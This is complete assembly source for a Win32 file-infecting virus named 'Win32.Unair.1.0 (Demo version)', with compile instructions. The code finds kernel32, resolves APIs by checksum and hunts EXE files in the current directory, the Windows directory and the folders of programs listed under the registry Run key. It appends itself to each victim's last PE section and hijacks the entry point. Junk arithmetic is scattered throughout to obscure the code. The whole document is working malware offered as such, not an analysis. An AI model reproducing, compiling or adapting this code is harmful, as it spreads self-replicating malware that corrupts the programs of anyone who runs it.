             
;  /_/ /_/  /_/_/_/   /_/_/_/  /_/  /_/_/
; |_| |_|/ |______|/ |______|/ |_|/ |___ \/
; |_| |_|/ |_|/ |_|/ |_|__|_|/ |_|/ |_|_| |/
; |_| |_|/ |_|/ |_|/ |____|_|/ |_|/ |_|__/
; |_|/|_|/ |_|/ |_|/ |_|/ |_|/ |_|/ |_|\_\/
; |_____|/ |_|/ |_|/ |_|/ |_|/ |_|/ |_|/\_\/
; Win32.Unair.1.0 ( Demo version )
; By Psychologic
; *******************************************
; Compile with (TASM 5.0) : 
;
;     tasm32 /z /ml /m2 Unair,,;
;     tlink32 -Tpe -c Unair,Unair,, import32.lib

.586p
.model flat
jumps
.radix 16

 extrn ExitProcess:PROC

.data
 VirusSize equ (offset EndVirus - offset Virus )
 NumberOfApis equ 13d

VirusCode:
Virus:
 call Delta 

Delta:
 pop ecx
 sub ecx, offset Delta

 push ecx
 pop ebp
 jmp KernelSearchStart


Align: 
 pushad
  
 mov edx, 9711d
 sub edx, 9711d
 mov eax, dword ptr [ebp+AlignReg1]
 mov ebx, dword ptr [ebp+AlignReg2]
 mov dword ptr [ebp+AlignTemp], eax
 div ebx
 sub ebx, edx
 mov eax, dword ptr [ebp+AlignTemp]
 add eax, ebx
 mov dword ptr [ebp+AlignReg1], eax
 popad
ret


InfectRegistry:

 mov eax, 44392d
 sub eax, 44392d
 add eax, dword ptr [ebp+XRegOpenKeyExA]
                                 
 inc eax
 dec eax
 jz EndInfectRegistry
 mov ebx, ebp
 add ebx, offset RegHandle

 push ebx
 push 001F0000h
                               
 mov ecx, 63798d
 sub ecx, 63798d
 push ecx
 lea edx, [ebp+RunPath]
 xchg ebx, edx

 push ebx
                                    
 push 80000002h
 call dword ptr [XRegOpenKeyExA]
                                    
 xor edx, edx
RegistryInfectLoop:
                                    
 lea esi, [ebp+NameBufLen2]
 ror ecx, 7d                         
 xchg esi, ebx

 push ebx
 mov ebx, offset NameBuffer2
 add ebx, ebp

 push ebx
 lea ecx, [ebp+RegType]

 push ecx
 
 mov ecx, -28109d
 add ecx, 28109d
 push ecx
 mov ebx, ebp
 add ebx, offset NameBufLen

 push ebx
 lea esi, [ebp+NameBuffer]
 xchg esi, edi

 push edi
 push edx
 push dword ptr [ebp+RegHandle]
 call dword ptr [ebp+XRegEnumValueA]
 cmp eax, 0
 jne CloseRegInfection
 

 mov ebx, 255d
 mov dword ptr [ebp+RegData2], ebx
 mov ecx, ebp
 add ecx, offset RegData2

 push ecx
 mov edi, offset NameBuffer
 add edi, ebp

 push edi
 lea ecx, [ebp+RegData1]
 xchg ecx, ebx

 push ebx
 push 0h
 lea edi, [ebp+NameBuffer]
 xchg ecx, edi

 push ecx
 push dword ptr [ebp+RegHandle]
 call dword ptr [ebp+XRegQueryValueExA]
 xor ebx, 11655887d               
 lea ecx, [ebp+NameBuffer]
 xchg ecx, ebx

 dec ebx
getNameBufferEnd:
                         
 inc ebx
 cmp byte ptr [ebx], 0
 jne getNameBufferEnd
 lea esi, [ebp+NameBuffer]
 xchg esi, ecx

getNamePath:
 sub ebx, 1
 cmp ebx, ecx
 jb RegistryInfectLoop
 cmp byte ptr [ebx], '\'
 jne getNamePath
                         
                                 
 sub ebx, -1d
 mov byte ptr [ebx], 0
 pushad
 lea edi, [ebp+NameBuffer]
 xchg ecx, edi

 push ecx
 call dword ptr [ebp+XSetCurrentDirectoryA]
 call InfectCurDir
 popad
 
 inc edx
 jmp RegistryInfectLoop
CloseRegInfection:
 push dword ptr [ebp+RegHandle]
 call dword ptr [ebp+XRegCloseKey]
EndInfectRegistry:
ret


Data:
 RegType     dd 0h
 OldBase     dd 400000h
 RegHandle dd 0h
 RegData1    dd 0h
 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME ENDS

 WIN32_FIND_DATA         label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

 TempAPI     dd 0h
 RegData2    dd 0h
 KernelMZ    dd 0h
 Advapi32   db 'advapi32.dll',0
 FindHandle  dd 0h
 NameBuffer db 255d dup (?)
 NTableTemp  dd 0h
 Trash1      dd 0h
 counter     dw 0h
 InfCounter  dd 0h
 OldEIP      dd 0h
 DirectoryBuffer db 255d dup (0h)
 AlignReg2   dd 0h
 OldDirectory db 255d dup (0h)
 MapHandle   dd 0h
 FileHandle  dd 0h
 filemask    db '*.EXE',0
 TempApisearch3 dd 0h
 NameBuffer2 db 255d dup (?)
 db 'Virus : Win32.Unair.1.0 ( Demo version ) Author : Psychologic',0

 APINames:
 dd 'Ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
 dd 'Ge'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Ge'+'tP'+'ro'+'cA'+'dd'+'re'+'ss'
 dd 'Fi'+'nd'+'Cl'+'os'+'e'*100h
 dd 'Lo'+'ad'+'Li'+'br'+'ar'+'yA'
 dd 'Fi'+'nd'+'Fi'+'rs'+'tF'+'il'+'eA'
 dd 'Se'+'tC'+'ur'+'re'+'nt'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Cr'+'ea'+'te'+'Fi'+'le'+'Ma'+'pp'+'in'+'gA'
 dd 'Cl'+'os'+'eH'+'an'+'dl'+'e'*100h
 dd 'Fi'+'nd'+'Ne'+'xt'+'Fi'+'le'+'A'*100h
 dd 'Un'+'ma'+'pV'+'ie'+'wO'+'fF'+'il'+'e'*100h
 dd 'Ge'+'tW'+'in'+'do'+'ws'+'Di'+'re'+'ct'+'or'+'yA'
 dd 'Cr'+'ea'+'te'+'Fi'+'le'+'A'*100h

 NameBufLen dd 255
 ATableVA    dd 0h
 OTableVA    dd 0h
 AlignReg1   dd 0h
 AlignTemp   dd 0h
 NTableVA    dd 0h

 APIOffsets:
 XMapViewOfFile         dd 0h
 XGetCurrentDirectoryA  dd 0h
 XGetProcAddress        dd 0h
 XFindClose             dd 0h
 XLoadLibraryA          dd 0h
 XFindFirstFileA        dd 0h
 XSetCurrentDirectoryA  dd 0h
 XCreateFileMappingA    dd 0h
 XCloseHandle           dd 0h
 XFindNextFileA         dd 0h
 XUnmapViewOfFile       dd 0h
 XGetWindowsDirectoryA  dd 0h
 XCreateFileA           dd 0h

 KernelPE    dd 0h
 MapAddress  dd 0h
 NewEIP      dd 0h
AdvapiNames: 
 db 'RegOpenKeyExA',0
 db 'RegQueryValueExA',0
 db 'RegCloseKey',0
 db 'RegEnumKeyA',0


 RunPath     db  'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
 NameBufLen2 dd 255
 NewSize     dd 0h
AdvapiOffsets: 
 XRegOpenKeyExA       dd 0h
 XRegQueryValueExA    dd 0h
 XRegCloseKey         dd 0h
 XRegEnumKeyA         dd 0h


KernelSearchStart:

 mov edi, 0bff70000h
 call GetKernel32
 jnc GetApis
 mov edi, 077f00000h
 call GetKernel32
 jnc GetApis
 mov edi, 077e00000h
 call GetKernel32
 jnc GetApis

 jmp NoKernel
GetKernel32:
 pushad

 and edx, 0

 lea eax, dword ptr [esp-8h]
 xchg eax, dword ptr fs:[edx]
 lea ebx, [ebp+GetKernel32Exception]
 xchg ebx, ecx

 push ecx
 push eax

 sub edi, -1d
GetKernelLoop:

 mov eax, 0
 dec edi
 mov ax, word ptr [edi+03ch]
 cmp ax,0f800h
 je GetKernelLoop
 cmp edi, dword ptr [edi+eax+34h]
 jnz GetKernelLoop
 mov dword ptr [ebp+KernelMZ], edi
 mov ebx, [edi+3Ch]
 add ebx, edi
 mov [KernelPE+ebp], ebx

 and edi, 0

 pop dword ptr fs:[edi]
 pop eax
 popad
 clc
ret

GetKernel32Exception:
  
 mov eax, 62519d
 sub eax, 62519d

 mov ecx, dword ptr fs:[eax]
 mov esp, dword ptr [ecx]
GetKernel32NotFound:

 sub edi, edi

 pop dword ptr fs:[edi]
 pop eax
 popad
 stc
ret

FindFirstFileProc:
 call ClearOldData
 mov eax, offset WIN32_FIND_DATA
 add eax, ebp

 push eax
 push edx
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], eax
ret


ClearOldData:
 pushad
 mov esi, ebp
 add esi, offset WFD_szFileName


 mov edx, 276d

ClearOldData2:
 mov byte ptr [esi], 0h

 sub esi, -1d
 dec edx
 jnz ClearOldData2
 popad
ret


FindNextFileProc:
 call ClearOldData
 lea ecx, [ebp+WIN32_FIND_DATA]

 push ecx
 mov ebx, dword ptr [ebp+FindHandle]
 push ebx
 call dword ptr [ebp+XFindNextFileA]
ret

OpenFile:
 mov ebx, 0

 push ebx
 push ebx
 push 3h
 push ebx

 add ebx, 1d
 sub dword ptr [ebp+Trash1], edx 
 push ebx
 mov ecx, 80000000h or 40000000h
 push ecx
 mov ebx, offset WFD_szFileName
 add ebx, ebp
 sar ecx, 14d
 push ebx
 call dword ptr [ebp+XCreateFileA]

 add eax, 1
 jz Closed
 dec eax

 mov dword ptr [ebp+FileHandle], 0
 add dword ptr [ebp+FileHandle], eax

CreateMap:
 mov ebx, dword ptr [ebp+WFD_nFileSizeLow]
 push ebx
 push 0
 push ebx
 push 0
 push 00000004h
 push 0
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]
 mov dword ptr [ebp+MapHandle], eax
 pop ebx

 sub eax, -1d
 sub eax, 1
 jz CloseFile
 push ebx
 push 0
 push 0
 
 mov ecx, ( 2d xor 37d )
 xor ecx, 37d
 push ecx
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]
 cmp eax, 0
 je UnMapFile
 mov dword ptr [ebp+MapAddress], 0
 xor dword ptr [ebp+MapAddress], eax
 sub dword ptr [ebp+Trash1], edx
 clc
ret

UnMapFile:
 Call UnMapFile2

CloseFile:
 push dword ptr [ebp+FileHandle]
 Call [ebp+XCloseHandle]

Closed:
 stc
ret

UnMapFile2:
 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]
ret


NoKernel:


 mov esi, ( -1d xor 10d )
 xor esi, 10d
 and esi, dword ptr [ebp+OldBase]

 mov dword ptr [ebp+retBase], esi

 mov edx, dword ptr [ebp+OldEIP]

 mov dword ptr [ebp+retEIP], edx



ExecuteHost:

 cmp ebp, 0
 je FirstGenHost
 mov edx,12345678h
 org $-4
 retBase dd 0h
 sub ebx, 71700101d 
 add edx,12345678h
 org $-4
 retEIP dd 0h
 jmp edx

GetOtherApis:
 push ecx 
 push edx 
 push ebx
 call dword ptr [ebp+XLoadLibraryA]
 sub eax, 61924232d  
 pop edx 
 pop ecx 

 mov ebx, eax
GetOtherApiLoop:
 push ecx 
 push edx 
 push edi
 push ebx
 call dword ptr [ebp+XGetProcAddress]
 pop edx 
 pop ecx 
 mov dword ptr [edx], eax

 inc edx
 add edx, 3d
 sub ecx, 1
 test ecx, ecx
 jz GetOtherApiEnd
GetOtherApiLoop2:
 
 add edi, 1d
 cmp byte ptr [edi], 0
 jne GetOtherApiLoop2

 sub edi, -1d
 jmp GetOtherApiLoop
GetOtherApiEnd:
ret


InfectCurDir:
 mov edx, ebp
 add edx, offset filemask


 call FindFirstFileProc

 sub eax, -1d
 sub eax, 1
 add eax, 1
 jz EndInfectCurDir

 mov [ebp+InfCounter], 5d

InfectCurDirFile:
 call InfectFile
 sal ecx, 23d 
                                
 push dword ptr [ebp+InfCounter]
 pop ebx
 test ebx, ebx
 jz EndInfectCurDir

 call FindNextFileProc
 test eax, eax
 jnz InfectCurDirFile

EndInfectCurDir:

 mov ecx, dword ptr [ebp+FindHandle]
 push ecx
 call dword ptr [ebp+XFindClose]

ret


GetApis:

                                  
 mov edi, 45555d
 sub edi, 45555d
 xor edi, dword ptr [ebp+OldBase]

 sub edx, ebx                     
 mov dword ptr [ebp+retBase], edi

 mov ecx, ( -1d - 20d )
 add ecx, 20d
 and ecx, dword ptr [ebp+OldEIP]
 add eax, eax

 mov dword ptr [ebp+retEIP], ecx

 add dword ptr [ebp+Trash1], eax  


 push NumberOfApis
 pop edx

 lea ecx, [ebp+APINames]
 xchg ecx, ebx

 mov esi, ebp
 add esi, offset APIOffsets


GetApisLoop: 
   

 call SearchAPI1
                                    
 add ebx, 4d
 push dword ptr [ebp+TempAPI]
 pop ecx
 mov dword ptr [esi], 0
 add dword ptr [esi], ecx
                                    
 add esi, 4d
 dec edx
 jnz GetApisLoop
 lea esi, [ebp+AdvapiNames]
 xchg edi, esi

 lea edx, [ebp+AdvapiOffsets]

                                   
 mov ecx, ( 4d - 14d )
 add ecx, 14d
 lea ebx, [ebp+Advapi32]

 call GetOtherApis
 jmp Outbreak

SearchAPI1:
 pushad



                                     
 mov eax, 0
 add eax, dword ptr [ebp+KernelPE]
                                   
 mov edx, [eax+78h]
 add edx, [ebp+KernelMZ]
                            
 dec edx
 add edx, 29d
                                 
 mov eax, dword ptr [edx]
 add eax, [ebp+KernelMZ]
                                      
 inc edx
 add edx, 3d
 mov dword ptr [ebp+ATableVA], eax
                                    
 mov eax, dword ptr [edx]
                                     
 add edx, 4d
 add eax, [ebp+KernelMZ]
 mov dword ptr [ebp+NTableVA], eax
                                    
 mov eax, dword ptr [edx]
 add eax, [ebp+KernelMZ]
 sar ecx, 18d                         
 mov dword ptr [ebp+OTableVA], eax
 mov edx, dword ptr [ebp+NTableVA]
                                      
 and word ptr [ebp+counter], 0h


SearchNextApi1:                       
 mov dword ptr [ebp+NTableTemp], edx
 mov ecx, dword ptr [ebp+KernelMZ]
 add ecx, dword ptr [edx]
                                 
 push ecx
 pop edx
                                
                                  
 mov edi, -58584d
 add edi, 58584d
 add edi, edx
 push edi
 mov dword ptr [ebp+TempApisearch3], ebx
 cld

 mov ecx, 0
 add ecx, dword ptr [ebx]
 LoopChsksm:
                                  
 mov eax, 60330d
 sub eax, 60330d
 mov al, byte ptr [edi]
                             
 sub edi, -1d
 shl ax,8d
 sub ecx, eax
 test ax, ax
 jz LoopConti
                             
 mov eax, -51901d
 add eax, 51901d
 mov al, byte ptr [edi]
                      
 inc edi
 sub ecx, eax
 cmp ax, 0
 jne LoopChsksm
LoopConti:

 add ecx, 1d
 sub ecx, 1
 jz FoundApi1

ApiNotFound:
 pop edi
 mov ebx, dword ptr [ebp+TempApisearch3]

 mov edx, ( -1d - 31d )
 add edx, 31d
 and edx, dword ptr [ebp+NTableTemp]

 add edx, 4d
 sbb eax, 19d                 
 inc word ptr [ebp+counter]
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1
 jmp SearchNextApi1

FoundApi1:

 add esp, 4d

                  
 mov edx, 28032d
 sub edx, 28032d
 mov dx, word ptr [ebp+counter]

 clc 
 rcl edx, 1                          
 add edx, dword ptr [ebp+OTableVA]
 xchg edx, ecx
                                   
 sub edx, edx
 mov dx, word ptr [ecx]
 sal edx, 2h
 add edx, dword ptr [ebp+ATableVA]
                                    
 mov eax, dword ptr [edx]
 add eax, dword ptr [ebp+KernelMZ]
 mov dword ptr [ebp+TempAPI], -1
 and dword ptr [ebp+TempAPI], eax
 popad
ret

NotFoundApi1:

 pop eax
 popad
 jmp ExecuteHost


InfectEXE:                             
 mov ecx, dword ptr [ebp+MapAddress]
                                       
 mov ebx, ecx
 add ebx, [ecx+3Ch]
                                      
 mov eax, [ebx+3Ch]
 mov edx, dword ptr [ebp+WFD_nFileSizeLow]
                                      
 mov dword ptr [ebp+AlignReg2], eax
 add edx, VirusSize
 mov dword ptr [ebp+AlignReg1], edx
 call Align
 mov edx, dword ptr [ebp+AlignReg1]
                                      
 mov dword ptr [ebp+NewSize], 0
 xor dword ptr [ebp+NewSize], edx
 pushad
 Call UnMapFile2
 popad
 mov dword ptr [ebp+WFD_nFileSizeLow], edx
 call CreateMap
 jc NoEXE
 mov esi, dword ptr [ebp+MapAddress]
                                     
 mov eax, esi
 add eax, dword ptr [esi+3Ch]
                                
 mov esi, eax
                                  
                                    
 sub edx, edx
 mov dx, word ptr [esi+06h]
 dec edx
 imul edx, edx, 28h
                                   
 add eax, 120d
 add eax, edx
 mov ebx, dword ptr [esi+74h]
 shl ebx, 3
 add eax, ebx
                                    
 mov ebx, dword ptr [esi+28h]
 mov dword ptr [ebp+OldEIP], ebx
 mov ecx, dword ptr [esi+34h]
 mov dword ptr [ebp+OldBase], ecx
 mov edx, [eax+10h]
                              
 mov ebx, edx
 add eax, 14h
 add edx, [eax]
 sub eax, 14h
 push edx
 push ebx
 pop ecx
 add ecx, [eax+0Ch]
 mov dword ptr [ebp+NewEIP], ecx
                                    
 mov dword ptr [esi+28h], 0
 add dword ptr [esi+28h], ecx
                                    
 sub ecx, ecx

 add ecx, [eax+10h]
 push ecx
                                    
 add ecx, VirusSize
 mov dword ptr [ebp+AlignReg1], 0
 xor dword ptr [ebp+AlignReg1], ecx
 push dword ptr [esi+3Ch]
 pop dword ptr [ebp+AlignReg2]
 call Align
                                    
 xor ecx, ecx
 add ecx, dword ptr [ebp+AlignReg1]
 mov dword ptr [eax+10h], ecx
 pop ecx
 add ecx,  (VirusSize-592d)
 add ecx, 592d
 mov dword ptr [eax+08h], 0
 add dword ptr [eax+08h], ecx
 mov ecx, dword ptr [eax+0Ch]
 add ecx, dword ptr [eax+10h]
 mov dword ptr [esi+50h], ecx
                                   
 or dword ptr [eax+24h], 0A0000020h
                                     
 mov dword ptr [esi+4Ch], 'Unai'
                                  
 pop edi
 mov ebx, VirusSize
 mov esi, offset Virus
 add esi, ebp

 add edi, dword ptr [ebp+MapAddress]

AppendLoop:
 movsb
 dec ebx
 jnz AppendLoop
                                     
 mov ecx, dword ptr [ebp+InfCounter]
 dec ecx
 push ecx
 pop dword ptr [ebp+InfCounter]
 clc
ret

NoEXE:
 stc
ret


InfectFile:                      
                                     
 mov edx, offset WFD_nFileSizeLow
 add edx, ebp

 cmp dword ptr [edx], 20000d
 jbe NoInfection
 call OpenFile                       
 jc NoInfection
                                       
 mov edi, dword ptr [ebp+MapAddress]
                                      
 movzx ebx, word ptr [edi]
 sub ebx, 'ZM'
 jz Goodfile
                                      
 mov ebx, -3472d
 add ebx, 3472d
 cmp ebx, 0
 je Notagoodfile

Goodfile:
 cmp word ptr [edi+3Ch], 0h
 je Notagoodfile
 mov edx, dword ptr [edi+3Ch]

 cmp dword ptr [ebp+WFD_nFileSizeLow],edx
 jb Notagoodfile
 or ebx, ebx                      
 add edx, edi

 cmp word ptr [edx], 'EP'
 je Goodfile2
                    
 xor ebx, ebx
 test ebx, ebx
 jz Notagoodfile

Goodfile2:
 and dword ptr [ebp+Trash1], ebx  
                                
 cmp dword ptr [edx+4Ch], 'Unai'
 jz Notagoodfile
 call InfectEXE         
 jc NoInfection

Notagoodfile:
 call UnMapFile

NoInfection:
ret

Outbreak:                 
                                  
                                   
 mov eax, offset OldDirectory
 add eax, ebp

 push eax
 push 255d
 call dword ptr [ebp+XGetCurrentDirectoryA]

 call InfectCurDir

 call InfectRegistry push 255d
 mov esi, offset DirectoryBuffer
 add esi, ebp

 push esi
 call dword ptr [ebp+XGetWindowsDirectoryA]
 mov edx, ebp
 add edx, offset DirectoryBuffer

 push edx
 call dword ptr [ebp+XSetCurrentDirectoryA]
 mov ebx, edx
 call InfectCurDir

 lea esi, [ebp+OldDirectory]
 xchg ebx, esi

 push ebx
 call dword ptr [ebp+XSetCurrentDirectoryA]

 jmp ExecuteHost


CryptEnd:
EndVirus:

.code                                   
                                       
                                     
                                  
FakeCode:

 push offset VirusCode

 ret

FirstGenHost:                        
                                 
 push 0
 pop edx
 push edx
 call ExitProcess



end FakeCode

